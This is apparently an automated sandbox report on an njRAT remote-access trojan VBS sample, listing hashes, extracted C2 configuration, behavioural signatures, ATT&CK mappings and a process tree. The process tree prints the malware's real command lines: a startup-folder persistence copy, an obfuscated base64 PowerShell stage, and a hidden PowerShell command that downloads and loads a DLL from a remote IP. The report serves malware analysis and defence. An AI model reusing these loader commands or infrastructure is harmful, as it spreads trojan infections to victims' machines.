njrat | 46910a6dfb9487947703a1f69d55e76b0d6bdc560a5ed85e7fd65c48924ea6b6

Analysis

max time kernel
148s
max time network
137s
platform
windows10_x64
resource
win10-en-20211208
submitted
12-01-2022 09:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2471384713084738.vbs
Size

484KB
MD5

c411c39688a4e3be08e80fcef384b448
SHA1

2970efe8b3902cd3edb2d41258b1888e494eef37
SHA256

46910a6dfb9487947703a1f69d55e76b0d6bdc560a5ed85e7fd65c48924ea6b6
SHA512

8bc088ce4b622e3a0cf7111eaae437cfa2211c6bfca248f6e42a166a6eede54c65fee73cf64652e8c3dd5d2f3764c556677e1bfd195873d491f5d7e7cf3ae0ee

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://149.56.200.165/dll/3.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

david123456.duckdns.org:9000

Mutex

b14f9f9db82b4

Attributes

reg_key
b14f9f9db82b4
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 3928 powershell.exe

flow	pid	process
16	3928	powershell.exe

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KHS.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KHS.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3928 set thread context of 1516 3928 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2672 PING.EXE

description	pid	process	target process
PID 3928 set thread context of 1516	3928	powershell.exe	RegSvcs.exe

pid	process
2672	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2188	powershell.exe
2188	powershell.exe
2188	powershell.exe
1524	powershell.exe
1524	powershell.exe
1524	powershell.exe
3928	powershell.exe
3928	powershell.exe
3928	powershell.exe
3928	powershell.exe
3928	powershell.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

Processes:

powershell.exepowershell.exepowershell.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe
Token: 33	1516	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	1516	RegSvcs.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

WScript.execmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2740 wrote to memory of 3816	2740	WScript.exe	cmd.exe
PID 2740 wrote to memory of 3816	2740	WScript.exe	cmd.exe
PID 3816 wrote to memory of 2672	3816	cmd.exe	PING.EXE
PID 3816 wrote to memory of 2672	3816	cmd.exe	PING.EXE
PID 3816 wrote to memory of 2188	3816	cmd.exe	powershell.exe
PID 3816 wrote to memory of 2188	3816	cmd.exe	powershell.exe
PID 2740 wrote to memory of 1524	2740	WScript.exe	powershell.exe
PID 2740 wrote to memory of 1524	2740	WScript.exe	powershell.exe
PID 1524 wrote to memory of 3928	1524	powershell.exe	powershell.exe
PID 1524 wrote to memory of 3928	1524	powershell.exe	powershell.exe
PID 3928 wrote to memory of 3984	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 3984	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 3984	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe
PID 3928 wrote to memory of 1516	3928	powershell.exe	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2471384713084738.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\2471384713084738.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KHS.vbs')
2⤵
- Suspicious use of WriteProcessMemory
PID:3816

C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 10
3⤵
- Runs ping.exe
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\2471384713084738.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KHS.vbs')
3⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC➠⇗↪Hk➠⇗↪d➠⇗↪Bl➠⇗↪Fs➠⇗↪XQBd➠⇗↪C➠⇗↪➠⇗↪J➠⇗↪BE➠⇗↪Ew➠⇗↪T➠⇗↪➠⇗↪g➠⇗↪D0➠⇗↪I➠⇗↪Bb➠⇗↪FM➠⇗↪eQBz➠⇗↪HQ➠⇗↪ZQBt➠⇗↪C4➠⇗↪QwBv➠⇗↪G4➠⇗↪dgBl➠⇗↪HI➠⇗↪d➠⇗↪Bd➠⇗↪Do➠⇗↪OgBG➠⇗↪HI➠⇗↪bwBt➠⇗↪EI➠⇗↪YQBz➠⇗↪GU➠⇗↪Ng➠⇗↪0➠⇗↪FM➠⇗↪d➠⇗↪By➠⇗↪Gk➠⇗↪bgBn➠⇗↪Cg➠⇗↪K➠⇗↪BO➠⇗↪GU➠⇗↪dw➠⇗↪t➠⇗↪E8➠⇗↪YgBq➠⇗↪GU➠⇗↪YwB0➠⇗↪C➠⇗↪➠⇗↪TgBl➠⇗↪HQ➠⇗↪LgBX➠⇗↪GU➠⇗↪YgBD➠⇗↪Gw➠⇗↪aQBl➠⇗↪G4➠⇗↪d➠⇗↪➠⇗↪p➠⇗↪C4➠⇗↪R➠⇗↪Bv➠⇗↪Hc➠⇗↪bgBs➠⇗↪G8➠⇗↪YQBk➠⇗↪FM➠⇗↪d➠⇗↪By➠⇗↪Gk➠⇗↪bgBn➠⇗↪Cg➠⇗↪JwBo➠⇗↪HQ➠⇗↪d➠⇗↪Bw➠⇗↪Do➠⇗↪Lw➠⇗↪v➠⇗↪DE➠⇗↪N➠⇗↪➠⇗↪5➠⇗↪C4➠⇗↪NQ➠⇗↪2➠⇗↪C4➠⇗↪Mg➠⇗↪w➠⇗↪D➠⇗↪➠⇗↪Lg➠⇗↪x➠⇗↪DY➠⇗↪NQ➠⇗↪v➠⇗↪GQ➠⇗↪b➠⇗↪Bs➠⇗↪C8➠⇗↪Mw➠⇗↪u➠⇗↪HQ➠⇗↪e➠⇗↪B0➠⇗↪Cc➠⇗↪KQ➠⇗↪p➠⇗↪Ds➠⇗↪WwBT➠⇗↪Hk➠⇗↪cwB0➠⇗↪GU➠⇗↪bQ➠⇗↪u➠⇗↪EE➠⇗↪c➠⇗↪Bw➠⇗↪EQ➠⇗↪bwBt➠⇗↪GE➠⇗↪aQBu➠⇗↪F0➠⇗↪Og➠⇗↪6➠⇗↪EM➠⇗↪dQBy➠⇗↪HI➠⇗↪ZQBu➠⇗↪HQ➠⇗↪R➠⇗↪Bv➠⇗↪G0➠⇗↪YQBp➠⇗↪G4➠⇗↪LgBM➠⇗↪G8➠⇗↪YQBk➠⇗↪Cg➠⇗↪J➠⇗↪BE➠⇗↪Ew➠⇗↪T➠⇗↪➠⇗↪p➠⇗↪C4➠⇗↪RwBl➠⇗↪HQ➠⇗↪V➠⇗↪B5➠⇗↪H➠⇗↪➠⇗↪ZQ➠⇗↪o➠⇗↪Cc➠⇗↪QwBs➠⇗↪GE➠⇗↪cwBz➠⇗↪Ew➠⇗↪aQBi➠⇗↪HI➠⇗↪YQBy➠⇗↪Hk➠⇗↪Mw➠⇗↪u➠⇗↪EM➠⇗↪b➠⇗↪Bh➠⇗↪HM➠⇗↪cw➠⇗↪x➠⇗↪Cc➠⇗↪KQ➠⇗↪u➠⇗↪Ec➠⇗↪ZQB0➠⇗↪E0➠⇗↪ZQB0➠⇗↪Gg➠⇗↪bwBk➠⇗↪Cg➠⇗↪JwBS➠⇗↪HU➠⇗↪bg➠⇗↪n➠⇗↪Ck➠⇗↪LgBJ➠⇗↪G4➠⇗↪dgBv➠⇗↪Gs➠⇗↪ZQ➠⇗↪o➠⇗↪CQ➠⇗↪bgB1➠⇗↪Gw➠⇗↪b➠⇗↪➠⇗↪s➠⇗↪C➠⇗↪➠⇗↪WwBv➠⇗↪GI➠⇗↪agBl➠⇗↪GM➠⇗↪d➠⇗↪Bb➠⇗↪F0➠⇗↪XQ➠⇗↪g➠⇗↪Cg➠⇗↪JwB0➠⇗↪Hg➠⇗↪d➠⇗↪➠⇗↪u➠⇗↪Dk➠⇗↪N➠⇗↪➠⇗↪2➠⇗↪DM➠⇗↪Mw➠⇗↪0➠⇗↪DM➠⇗↪NQ➠⇗↪y➠⇗↪DM➠⇗↪Mw➠⇗↪v➠⇗↪HM➠⇗↪bwBt➠⇗↪HM➠⇗↪bwBj➠⇗↪C8➠⇗↪NQ➠⇗↪2➠⇗↪DE➠⇗↪Lg➠⇗↪w➠⇗↪D➠⇗↪➠⇗↪Mg➠⇗↪u➠⇗↪DY➠⇗↪NQ➠⇗↪u➠⇗↪Dk➠⇗↪N➠⇗↪➠⇗↪x➠⇗↪C8➠⇗↪Lw➠⇗↪6➠⇗↪H➠⇗↪➠⇗↪d➠⇗↪B0➠⇗↪Gg➠⇗↪Jw➠⇗↪p➠⇗↪Ck➠⇗↪';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('➠⇗↪','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://149.56.200.165/dll/3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.94633435233/somsoc/561.002.65.941//:ptth'))"
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
PID:3984

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
c6b0a774fa56e0169ed7bb7b25c114dd

SHA1
bcdba7d4ecfff2180510850e585b44691ea81ba5

SHA256
b87210c4a0814394371ec7fba00fc02d9adbb22bcb1811a2abab46fdf4325da9

SHA512
42295d57f735c31749235c8463ac2c31778bff46a6a16c87918440d0b2fc70d2f1f6fb10d2499105866f7022108bbda4268d2580356245bd19bbed1ee3a2c446

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
03f2cc64967d115eefb6b168e44d1631

SHA1
a563bbbe76599dbbbffc9e4320dcc1574ecc8306

SHA256
57d74366cdfc4e9a72ec147c740bf149e52d956fec83f531706d1b51c0796ffb

SHA512
c66940403fd4ae60d0ca3cfcf615f190b9484099c3e35643255b16e1ea877c3eab14beb2d41ef10e3343e9772de30f157a6b4da46a0b599db62aee488593682c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
89fa2800fc7944e2bb7f4239323b527b

SHA1
c8fe9383a33538e601a5533b71cd8de86751aa5e

SHA256
0c1b1cac51833f60baf401103371fde4ed020f7a84e9cd70eca717191ad23b81

SHA512
c1d107328d8c83ecc2824ffde610f7057c2ba4b462bf9572147495f5a227e30492683eab577db244dbd3ed5c9742a78cab4f8fdd26c7e2f4332d0a6f5b93db0f

Download Submit
memory/1516-192-0x00000000053E0000-0x00000000058DE000-memory.dmp

Filesize
5.0MB

Download
memory/1516-191-0x00000000055E0000-0x0000000005672000-memory.dmp

Filesize
584KB

Download
memory/1516-190-0x00000000058E0000-0x0000000005DDE000-memory.dmp

Filesize
5.0MB

Download
memory/1516-189-0x00000000052E0000-0x000000000537C000-memory.dmp

Filesize
624KB

Download
memory/1516-187-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/1516-186-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/1516-193-0x00000000054E0000-0x00000000054EA000-memory.dmp

Filesize
40KB

Download
memory/1516-181-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/1516-182-0x000000000040676E-mapping.dmp

Download
memory/1516-194-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/1524-151-0x000002A3E33A3000-0x000002A3E33A5000-memory.dmp

Filesize
8KB

Download
memory/1524-146-0x000002A3FD640000-0x000002A3FD6B6000-memory.dmp

Filesize
472KB

Download
memory/1524-185-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-188-0x000002A3E33A6000-0x000002A3E33A8000-memory.dmp

Filesize
8KB

Download
memory/1524-133-0x0000000000000000-mapping.dmp

Download
memory/1524-135-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-152-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-136-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-137-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-138-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-139-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-140-0x000002A3E3320000-0x000002A3E3342000-memory.dmp

Filesize
136KB

Download
memory/1524-150-0x000002A3E33A0000-0x000002A3E33A2000-memory.dmp

Filesize
8KB

Download
memory/1524-142-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-143-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-144-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/1524-145-0x000002A3E1520000-0x000002A3E1522000-memory.dmp

Filesize
8KB

Download
memory/2188-147-0x00000256ED600000-0x00000256ED602000-memory.dmp

Filesize
8KB

Download
memory/2188-121-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-126-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-149-0x00000256ED606000-0x00000256ED608000-memory.dmp

Filesize
8KB

Download
memory/2188-127-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-125-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-128-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-124-0x00000256F1140000-0x00000256F1162000-memory.dmp

Filesize
136KB

Download
memory/2188-117-0x0000000000000000-mapping.dmp

Download
memory/2188-118-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-119-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-120-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-129-0x00000256F12F0000-0x00000256F1366000-memory.dmp

Filesize
472KB

Download
memory/2188-148-0x00000256ED603000-0x00000256ED605000-memory.dmp

Filesize
8KB

Download
memory/2188-132-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-122-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-123-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2188-130-0x00000256EBB00000-0x00000256EBB02000-memory.dmp

Filesize
8KB

Download
memory/2672-116-0x0000000000000000-mapping.dmp

Download
memory/3816-115-0x0000000000000000-mapping.dmp

Download
memory/3928-159-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-174-0x000001E4D29E0000-0x000001E4D29E2000-memory.dmp

Filesize
8KB

Download
memory/3928-175-0x000001E4D29E3000-0x000001E4D29E5000-memory.dmp

Filesize
8KB

Download
memory/3928-176-0x000001E4D29E6000-0x000001E4D29E8000-memory.dmp

Filesize
8KB

Download
memory/3928-177-0x000001E4BA520000-0x000001E4BA52E000-memory.dmp

Filesize
56KB

Download
memory/3928-178-0x000001E4D4AC0000-0x000001E4D4B12000-memory.dmp

Filesize
328KB

Download
memory/3928-179-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-173-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-167-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-183-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-166-0x000001E4D4B40000-0x000001E4D4BB6000-memory.dmp

Filesize
472KB

Download
memory/3928-165-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-164-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-163-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-161-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-160-0x000001E4BA4C0000-0x000001E4BA4E2000-memory.dmp

Filesize
136KB

Download
memory/3928-158-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-157-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-156-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-155-0x000001E4B8920000-0x000001E4B8922000-memory.dmp

Filesize
8KB

Download
memory/3928-154-0x0000000000000000-mapping.dmp

Download